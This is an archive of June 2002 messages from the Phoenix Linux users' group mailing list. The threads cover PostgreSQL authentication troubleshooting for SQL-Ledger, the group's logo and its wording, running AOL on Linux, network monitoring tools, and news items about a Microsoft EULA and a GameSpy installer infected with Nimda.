does it manipulate the pg_hba file? Or? v/r mike :On Fri, Jun 28, 2002 at 01:49:19PM -0700, Tom Emerson wrote: Mike, how is the postmaster started? (postmaster is the postgresql backend server) There is an option the postmaster needs in order to allow network connections. Example, looking at the process list (ps ax): /usr/local/pgsql/bin/postmaster -i -D /web/pgsql The "-i" option seen here allows tcp connections, without it, quite a few of the software's can't connect. If you don't see this "-i" option, that may be your problem. A typical startup command for the postmaster looks like this (but all on one line!): su - postgres -c "/usr/local/pgsql/bin/postmaster -i -D /web/pgsql >logfile 2>&1 &" On Fri, 28 Jun 2002, Mike Starke wrote: I am attempting to get SQL-Ledger up and running and am running into a few problems as it pertains to postgreSQL. I have done the following: 1. As the user postgres (I'm on a debian sysem btw), I have done: 'createuser mike' 2. As the user 'mike' I have done: 'createdb mydb' 3. I can, as user 'mike' do: 'psql mydb' and get to the command line utility. 4. I have also ensured that I have the line" 'tcpip_socket = 1' in /etc/postgresql.conf 5. I have mucked around in /etc/postgresql/pg_hba.conf a bit and not sure what I have done in there. At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', I get the following error:FATAL 1: IDENT authentication failed for user "mike". I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) I continue to get the same error message. Can anyone offer some guidance here? v/r Mike ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 03:41:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Fri, 28 Jun 2002 20:41:29 -0700 Subject: New Version of PLUG Logo In-Reply-To: <200206281658.06007.zen2now@qwest.net> Message-ID: <000301c21f1e$dc00b8f0$6500000a@janus> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I don't want to diminish 'Austin's' much appreciated help on this issue, however, I'd like to make known my feelings on the logo. I really liked the very first logo, with the prickly pear [http://www.zen2now.com/tux/tux_wallpaper.jpg], but I also understand Alan's point about the saguaros. I would personally like to see the right Prickly Pear, or the original mirrored to the left, and the left saguaro of the latest version [http://www.zen2now.com/tux/double_g.jpg] mirrored on the right. I know that this is asking a lot of someone who has already committed more time and effort than ever expected, and so in return I volunteer to make these changes myself if a master PNG could be provided. And thanks again, 'Austin', if that's your real name... "There are only two ways to live your life. One is as though nothing is a miracle. The other is as though everything is a miracle." -- Albert Einstein matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com | http://www.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of slr Sent: Friday, June 28, 2002 4:58 PM To: 'plug-discuss@lists.plug.phoenix.az.us' Subject: New Version of PLUG Logo check it out. dual saguaro's and non-italic fonts http://www.zen2now.com/tux/double_g.jpg slr ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGP 7.0.4 iQA/AwUBPR0saY4p6zlv2o83EQIrzgCgy+e7PQXTzxZ9HFLEAKLCsURKiskAoPxt vr6PZv+s1mpLuZKLIUSup7ws =PtjO -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:30:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 28 Jun 2002 13:30:18 -0700 Subject: Linux at Work Message-ID: <200206281330.18502.charlie@swtravel.com> This is more of a report that a query, but any suggestions would be appreciated. I finally have discovered a workaround for a mission criticle intranet application. Here is the scenario. 1. Login to page on our intranet. 2. enter either a phone number or extension number Here is where trouble starts. 3. A page is launched. This page is a frameset, each frame refreshes seperatley. This separate refreshing works in Mozilla 1.0, Opera 6.0 and I also got it working in IE 5.5 running under wine. The separate refreshing doesn't work with Konquerer 3.0.0, both frames freeze. 4. When calls come in, one of the frames lists how many calls are on queue and the other frame lists the nature of the first call on the queue and gives an option to either take the call or re queue it to someone else. A sound is generated when a call comes it. The line in the code that generates the sound is some sort of non standard Microsoft thing. The only browser that properly parses this MS tag is Konquerer, it generates the sound. (Konquerer also does something that I have only been able to get IE 5.5 to do. It allows multiple sessions to be opened in separate virtual windows, and better yet also keeps any windows opened by a page in a particular window to open in that window independent of what is going on in each other virtual window) Here is the work around, I don't need to see the number of calls on queue, so I login as normal, put in my extension number and then manually launch only the frame that gives the nature of the call and that allows me to either take or requeue a call. I would love to post the HTML code that does all this, but its proprietary and the owner of the company won't let me show it to out siders. Anyway thank goodness for the variety of ways of doing things in linux . Charlie From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 13:33:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sat, 29 Jun 2002 06:33:44 -0700 (MST) Subject: PLUG Logo Update! In-Reply-To: <200206281448.27786.zen2now@qwest.net> Message-ID: Our banner says "Users" Group... let's be consistent at least. The logo should say "Users". \\/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 15:24:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Sat, 29 Jun 2002 08:24:21 -0700 Subject: PLUG Logo Update! References: Message-ID: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> well, i think i asked this ? before, because the PLUG web site is inconsistant. and yours is only the second comment about "Users" vs "User". how does the group feel about this isssue? slr ----- Original Message ----- From: "William Lindley" To: Sent: Saturday, June 29, 2002 6:33 AM Subject: Re: PLUG Logo Update! > Our banner says "Users" Group... let's be consistent at least. > > The logo should say "Users". > > \\/ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 15:50:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 29 Jun 2002 08:50:56 -0700 Subject: PLUG Logo Update! In-Reply-To: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> References: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: <1025365856.2483.1.camel@bryceco1> I really don't care all that much except that it be consistent and plural. $0.02 On Sat, 2002-06-29 at 08:24, slr wrote: > well, i think i asked this ? before, because the PLUG web site is > inconsistant. and yours is only the second comment about "Users" vs "User". > how does the group feel about this isssue? > > slr > > ----- Original Message ----- > From: "William Lindley" > To: > Sent: Saturday, June 29, 2002 6:33 AM > Subject: Re: PLUG Logo Update! > > > > Our banner says "Users" Group... let's be consistent at least. > > > > The logo should say "Users". > > > > \\/ > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce Chidester Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 16:01:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sat, 29 Jun 2002 09:01:14 -0700 Subject: Mozilla troubles References: <20020629000409.6884.qmail@web13408.mail.yahoo.com> Message-ID: <001c01c21f86$3214ae10$0601010a@tickticker.com> since i don't use it for email, I am definitely sticking with Opera, although mozilla is all i use on my lycoris box, the other 5 have Opera. Mouse gestures.....unbeatable. anthony ----- Original Message ----- From: "bob smith" To: Sent: Friday, June 28, 2002 5:04 PM Subject: Mozilla troubles > Hey all, > I think this was mentioned before but I could not find > it searching through the archives. I was just curious > how Mozilla is working out for you all? When I was > using Gnome 1.4 with Mozilla it was really speedy and > I had no problems. Lately I just tried using Mozilla > with window maker and it is pretty slow. It takes > awhile to open new windows and such. Anyone > experiencing similar problems? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 16:31:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 09:31:47 -0700 Subject: New Version of PLUG Logo In-Reply-To: <000301c21f1e$dc00b8f0$6500000a@janus> References: <000301c21f1e$dc00b8f0$6500000a@janus> Message-ID: <200206290931.47521.dennisk@sahuaro.f2s.com> On Friday 28 June 2002 08:41 pm, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I don't want to diminish 'Austin's' much appreciated help on this > issue, however, I'd like to make known my feelings on the logo. I > really liked the very first logo, with the prickly pear > [http://www.zen2now.com/tux/tux_wallpaper.jpg], but I also understand > Alan's point about the saguaros. I would personally like to see the > right Prickly Pear, or the original mirrored to the left, and the > left saguaro of the latest version > [http://www.zen2now.com/tux/double_g.jpg] mirrored on the right. I > know that this is asking a lot of someone who has already committed > more time and effort than ever expected, and so in return I volunteer > to make these changes myself if a master PNG could be provided. > > And thanks again, 'Austin', if that's your real name... > > > "There are only two ways to live your life. One is as though nothing > is a miracle. The other is as though everything is a miracle." > -- Albert Einstein > > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com | http://www.zanfar.com > I have to agree with Matt, the original design is compact and "reads" well. Tux is dominate and the cacti says "desert." In short, it works. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 17:01:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Sat, 29 Jun 2002 10:01:46 -0700 Subject: Membership database References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> <02062711351412.07972@nova.wedge.org> Message-ID: <3D1DE7FA.D9C5FC65@pop.phnx.uswest.net> FWIW, I think that a good search engine aimed into the various plug-* archives would be the most useful tool we could offer. There's a bunch of great information that's already been posted. If someone found an entry with information related to what they need, they'd also have the contact information (email addr) of a person likely to have more information on the topic. Again, FWIW. Steve Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > My thoughts on a member database. > ... From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 17:28:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sat, 29 Jun 2002 10:28:33 -0700 Subject: hot off of slashdot Message-ID: <000a01c21f92$66836a90$0601010a@tickticker.com> This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C21F57.B8356CC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable it's not just interesting, it's kinda sickening... Microsoft Media Player "Security Patch" Changes EULA Big Time Posted by CmdrTaco on Saturday June 29, @01:23PM=20 from the under-the-guise-of-security dept. MobyTurbo writes "In an article on BSD Vault a careful reader posts that = in the latest Windows Media Player security patch, the EULA (the = "license agreement" you click on) says that you give MS the right to = install digital rights management software, and the right to disable any = other programs which may circumvent DRM on your computer." So if you = want your machine secure, you also want microsoft to have free reign on = your PC.=20 ------=_NextPart_000_0007_01C21F57.B8356CC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
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MobyTurbo writes "In an article on = BSD=20 Vault a careful reader posts that in the latest Windows Media Player = security=20 patch, the EULA (the "license agreement" you click on) says that you = give MS the=20 right to install digital rights management software, and the right to = disable=20 any other programs which may circumvent DRM on your computer." So if you = want=20 your machine secure, you also want microsoft to have free reign on your = PC.=20
------=_NextPart_000_0007_01C21F57.B8356CC0-- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 17:32:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 10:32:36 -0700 Subject: PLUG Logo - serving suggestion In-Reply-To: <200206290931.47521.dennisk@sahuaro.f2s.com> References: <000301c21f1e$dc00b8f0$6500000a@janus> <200206290931.47521.dennisk@sahuaro.f2s.com> Message-ID: <200206291032.36487.dennisk@sahuaro.f2s.com> Take the PLUG logo and add a nice KDE wallpaper and you have delicious desktop! http://www.sahuaro.f2s.com/plug_logo_wallpaper2.jpg Dennis Kibbe PS - too much time on a Saturday morning From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 17:42:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 29 Jun 2002 10:42:31 -0700 Subject: PLUG Logo - serving suggestion References: <000301c21f1e$dc00b8f0$6500000a@janus> <200206290931.47521.dennisk@sahuaro.f2s.com> <200206291032.36487.dennisk@sahuaro.f2s.com> Message-ID: <3D1DF187.977B009B@leml.asu.edu> Dennis Kibbe wrote: > > Take the PLUG logo and add a nice KDE wallpaper and you have delicious > desktop! > > http://www.sahuaro.f2s.com/plug_logo_wallpaper2.jpg > > Dennis Kibbe > PS - too much time on a Saturday morning Hey Dennis... how bout a Penguinelli (Kokopelli/Tux hybrid) Petroglyph? ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 18:01:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 11:01:48 -0700 Subject: PLUG Logo - serving suggestion In-Reply-To: <3D1DF187.977B009B@leml.asu.edu> References: <000301c21f1e$dc00b8f0$6500000a@janus> <200206291032.36487.dennisk@sahuaro.f2s.com> <3D1DF187.977B009B@leml.asu.edu> Message-ID: <200206291101.48493.dennisk@sahuaro.f2s.com> On Saturday 29 June 2002 10:42 am, John (EBo) David wrote: > Dennis Kibbe wrote: > > Take the PLUG logo and add a nice KDE wallpaper and you have delicious > > desktop! > > > > http://www.sahuaro.f2s.com/plug_logo_wallpaper2.jpg > > > > Dennis Kibbe > > PS - too much time on a Saturday morning > > Hey Dennis... how bout a Penguinelli (Kokopelli/Tux hybrid) Petroglyph? > ;-) > > > EBo -- Didn't I see a movie preview where those prehistoric creatures return to life and come swooping down on Redmond breathing fire? Dennis From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 18:25:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Sat, 29 Jun 2002 11:25:06 -0700 Subject: Linux and AOL Message-ID: <3D1DFB82.80D376EE@cox.net> Hi, all- One of my co-workers is interested in getting Linux installed on her PC at home. She uses AOL for internet access. How difficult is it to get a Linux box set up for AOL? -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 18:30:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tony Wasson) Date: Sat, 29 Jun 2002 11:30:51 -0700 Subject: Netsaint References: <200206271414.55584.zen2now@qwest.net> <200206271504.57236.zen2now@qwest.net> <1025218248.10747.90.camel@syz.broken-bit.com> <200206271638.57847.zen2now@qwest.net> Message-ID: <010e01c21f9b$196dbf90$e367c6d0@chelly> ----- Original Message ----- From: "slr" To: ; "Lowell Hamilton" Sent: Thursday, June 27, 2002 16:38 Subject: Re: Netsaint > well i was looking to monitor my exchange server, PDC, SQL server, 4 Samba > servers, 5 webservers, 3 DNS servers, my routers and switches, and 3 MySQL > servers. in this senario would netsaint be an overkill? i am trying out ntop > right now, what is your feeling about this app? > > as for NEAT, i check the netsaint.cfg and netsaint_user=contains my netsaint > user and not the apacheuser. :~( > > slr I've run NTOP before, and the 1.xx works, but doesn't really do web viewable reports. I played with 2.xx about 2 months ago, and it crashed daily. I could have gotten a 'stable' copy from the CVS, but decided to wait a bit. I was impressed with NTOP, but it eats memory. I liked the fact that I could 'see' active TCP connections on my network and that I could see most active ports etc. I will try NTOP again in the future. For monitoring, I found the main utility of NTOP in an overall 'who's sucking the bandwidth' scenario. If I had the funding, I'd buy InMon's traffic server which polls most monitorable HP switches for current traffic. It runs on RedHat and includes probe software which can actually report what's happening in a 1Gbps pipe. I've used NetSaint + NEAT, and it works well. If you are a whiz at editing the netsaint.cfg NEAT will hold you back. If you just want to update an IP address or add a new device once in a while, I think NEAT is great. slr, I don't think NetSaint is an overkill for your situation. In fact I will suggest that you look at Cricket to take you NetSaint values and graph them. Graphs rock! Especially when there is an outage or slowdown, and you can show your boss, and say 'See? Here's the problem, our SQL box keeps running out of memory during the slowdowns.' Tony From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:11:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 29 Jun 2002 12:11:38 -0700 Subject: PLUG Logo - serving suggestion References: <000301c21f1e$dc00b8f0$6500000a@janus> <200206291032.36487.dennisk@sahuaro.f2s.com> <3D1DF187.977B009B@leml.asu.edu> <200206291101.48493.dennisk@sahuaro.f2s.com> Message-ID: <3D1E066A.5D0E0DB8@leml.asu.edu> Dennis Kibbe wrote: > > On Saturday 29 June 2002 10:42 am, John (EBo) David wrote: > > Dennis Kibbe wrote: > > > Take the PLUG logo and add a nice KDE wallpaper and you have delicious > > > desktop! > > > > > > http://www.sahuaro.f2s.com/plug_logo_wallpaper2.jpg > > > > > > Dennis Kibbe > > > PS - too much time on a Saturday morning > > > > Hey Dennis... how bout a Penguinelli (Kokopelli/Tux hybrid) Petroglyph? > > ;-) > > > > > > EBo -- > > Didn't I see a movie preview where those prehistoric creatures return to life > and come swooping down on Redmond breathing fire? naaa... That would be JurasicTux. Penguinelli is the southwestern opensorce hunchback coder... no one remembers when Tux first showed up, but he's been coding ever since ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:09:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sat, 29 Jun 2002 12:09:03 -0700 (MST) Subject: Linux and AOL In-Reply-To: <3D1DFB82.80D376EE@cox.net> Message-ID: On Sat, 29 Jun 2002, Lee Einer wrote: > How difficult is it to get a Linux box set up for AOL? I could convert several people to Linux if it worked with AOL. "You can just switch ISP's," I say. "Oh, no, I don't want the hassle." "grrrrrmph." As far as I know, it's impossible to use AOL as your ISP for Linux. \\/ http://www.wlindley.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:33:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug@unfm00.com) Date: Sat, 29 Jun 2002 15:33:11 -0400 Subject: hot off of slashdot Message-ID: All the more reason not to use Microsoft Products. Original Message: ----------------- From: tickticker tickticker@cox.net Date: Sat, 29 Jun 2002 10:28:33 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: hot off of slashdot it's not just interesting, it's kinda sickening... Microsoft Media Player "Security Patch" Changes EULA Big Time Posted by CmdrTaco on Saturday June 29, @01:23PM from the under-the-guise-of-security dept. MobyTurbo writes "In an article on BSD Vault a careful reader posts that in the latest Windows Media Player security patch, the EULA (the "license agreement" you click on) says that you give MS the right to install digital rights management software, and the right to disable any other programs which may circumvent DRM on your computer." So if you want your machine secure, you also want microsoft to have free reign on your PC. -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:36:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Sat, 29 Jun 2002 12:36:13 -0700 Subject: Linux and AOL References: Message-ID: <003101c21fa4$3aa93320$0b02a8c0@krycom> You might wnat to have a look here... http://news.com.com/2100-1023-244438.html?legacy=cnet ----- Original Message ----- From: "William Lindley" To: "PLUG newsgroup" Sent: Saturday, June 29, 2002 12:09 PM Subject: Re: Linux and AOL > On Sat, 29 Jun 2002, Lee Einer wrote: > > How difficult is it to get a Linux box set up for AOL? > > I could convert several people to Linux if it worked with AOL. "You can > just switch ISP's," I say. "Oh, no, I don't want the hassle." > "grrrrrmph." > > As far as I know, it's impossible to use AOL as your ISP for Linux. > > \\/ > http://www.wlindley.com > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:38:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 29 Jun 2002 12:38:21 -0700 (PDT) Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: Hmm... Any English professors in the audience? We could do: User Users User's Users' All of these examples can be found in use by other Linux groups on the 'net. We're a group of "Linux users," but we're also a "user group." So I guess it depends on where you put the emphasis on the phrase. The Linux group in Portland uses: "Portland Linux Unix Group" which gets rid of the "is it plural or not" problem all together. ;-) ~M On Sat, 29 Jun 2002, slr wrote: > well, i think i asked this ? before, because the PLUG web site is > inconsistant. and yours is only the second comment about "Users" vs "User". > how does the group feel about this isssue? > > slr > > ----- Original Message ----- > From: "William Lindley" > To: > Sent: Saturday, June 29, 2002 6:33 AM > Subject: Re: PLUG Logo Update! > > > > Our banner says "Users" Group... let's be consistent at least. > > > > The logo should say "Users". > > > > \\/ > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:32:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 29 Jun 2002 12:32:55 -0700 (PDT) Subject: Linux and AOL In-Reply-To: <3D1DFB82.80D376EE@cox.net> Message-ID: There's currently not an AOL client for Linux. You can use the AOL Instant Messenger on Linux and you can check your email through their web interface, however. I would suggest that you contact AOL and let them know you're interested in an official Linux AOL client. I know of a lot of people that only use their computer for AOL and they wouldn't mind having Linux, as long as they can still use AOL. ~M On Sat, 29 Jun 2002, Lee Einer wrote: > Hi, all- > > One of my co-workers is interested in getting Linux installed on her > PC at home. She uses AOL for internet access. How difficult is it to > get a Linux box set up for AOL? > > -- > Lee Einer > > http://members.cox.net/appealsman/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:44:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Sat, 29 Jun 2002 12:44:27 -0700 Subject: Gamespy Message-ID: <004001c21fa5$60c17030$0b02a8c0@krycom> This is a multi-part message in MIME format. ------=_NextPart_000_003D_01C21F6A.B448A790 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Anyone hear about the game spy installer infecting some 3100 PC's with = the nimda viurs? Richard L. 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------=_NextPart_000_003D_01C21F6A.B448A790-- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:58:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michelle Lowman) Date: Sat, 29 Jun 2002 12:58:47 -0700 Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: References: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: <20020629125847.1f773e7c.mlowman@firstlinux.net> Aw jeez, I was afraid of this. ;) User is OK Users is OK User's is NOT OK (this would indicate that this is a group that belongs to only one user -- aaargh.) Users' is OK (probably most technically correct since this is a group that belongs the users -- plural and shows ownership) I guess it doesn't really matter, but we should be consistent. -Michelle On Sat, 29 Jun 2002 12:38:21 -0700 (PDT) Matt Alexander wrote: > Hmm... Any English professors in the audience? We could do: > > User > Users > User's > Users' > > All of these examples can be found in use by other Linux groups on the > 'net. We're a group of "Linux users," but we're also a "user group." So > I guess it depends on where you put the emphasis on the phrase. The Linux > group in Portland uses: > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > problem all together. ;-) > ~M > > > On Sat, 29 Jun 2002, slr wrote: > > > well, i think i asked this ? before, because the PLUG web site is > > inconsistant. and yours is only the second comment about "Users" vs "User". > > how does the group feel about this isssue? > > > > slr > > > > ----- Original Message ----- > > From: "William Lindley" > > To: > > Sent: Saturday, June 29, 2002 6:33 AM > > Subject: Re: PLUG Logo Update! > > > > > > > Our banner says "Users" Group... let's be consistent at least. > > > > > > The logo should say "Users". > > > > > > \\/ > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 20:33:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Sat, 29 Jun 2002 13:33:20 -0700 Subject: Linux and AOL References: <3D1DFB82.80D376EE@cox.net> Message-ID: <001301c21fac$3ad24550$6400a8c0@amd1000> I wonder if you could use the AOL client for windows on linux with wine. I've had good results with codeweavers wine and also their crossoveroffice product. In fact, if I have an AOL disk in my mailbox today I may just give it a try. Charlie ----- Original Message ----- From: "Lee Einer" To: "PLUG newsgroup" Sent: Saturday, June 29, 2002 11:25 AM Subject: Linux and AOL > Hi, all- > > One of my co-workers is interested in getting Linux installed on her > PC at home. She uses AOL for internet access. How difficult is it to > get a Linux box set up for AOL? > > -- > Lee Einer > > http://members.cox.net/appealsman/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 21:05:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug@unfm00.com) Date: Sat, 29 Jun 2002 17:05:28 -0400 Subject: Gamespy Message-ID: http://story.news.yahoo.com/news?tmpl=story&ncid=582&e=1&cid=582&u=/nm/20020627/wr_nm/tech_gamespy_dc_1 Original Message: ----------------- From: Richard L. Proctor krycom1@cox.net Date: Sat, 29 Jun 2002 12:44:27 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Gamespy Anyone hear about the game spy installer infecting some 3100 PC's with the nimda viurs? Richard L. Proctor Krystal Computer Services PC Repairs & Upgrades www.krycom.com 480-699-3098 -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 22:18:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sat, 29 Jun 2002 15:18:07 -0700 (PDT) Subject: Linux and AOL In-Reply-To: Message-ID: <20020629221807.37664.qmail@web13401.mail.yahoo.com> --- William Lindley wrote: > On Sat, 29 Jun 2002, Lee Einer wrote: > > How difficult is it to get a Linux box set up for > AOL? > > I could convert several people to Linux if it worked > with AOL. "You can > just switch ISP's," I say. "Oh, no, I don't want > the hassle." > "grrrrrmph." > > As far as I know, it's impossible to use AOL as your > ISP for Linux. I agree about the just switching ISP's part. It's not impossible though. A guy on one of the irc networks I frequent uses aol and Linux. Maybe I can ask "Mr.Roboto" how he goes about doing this. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 22:55:23 2002 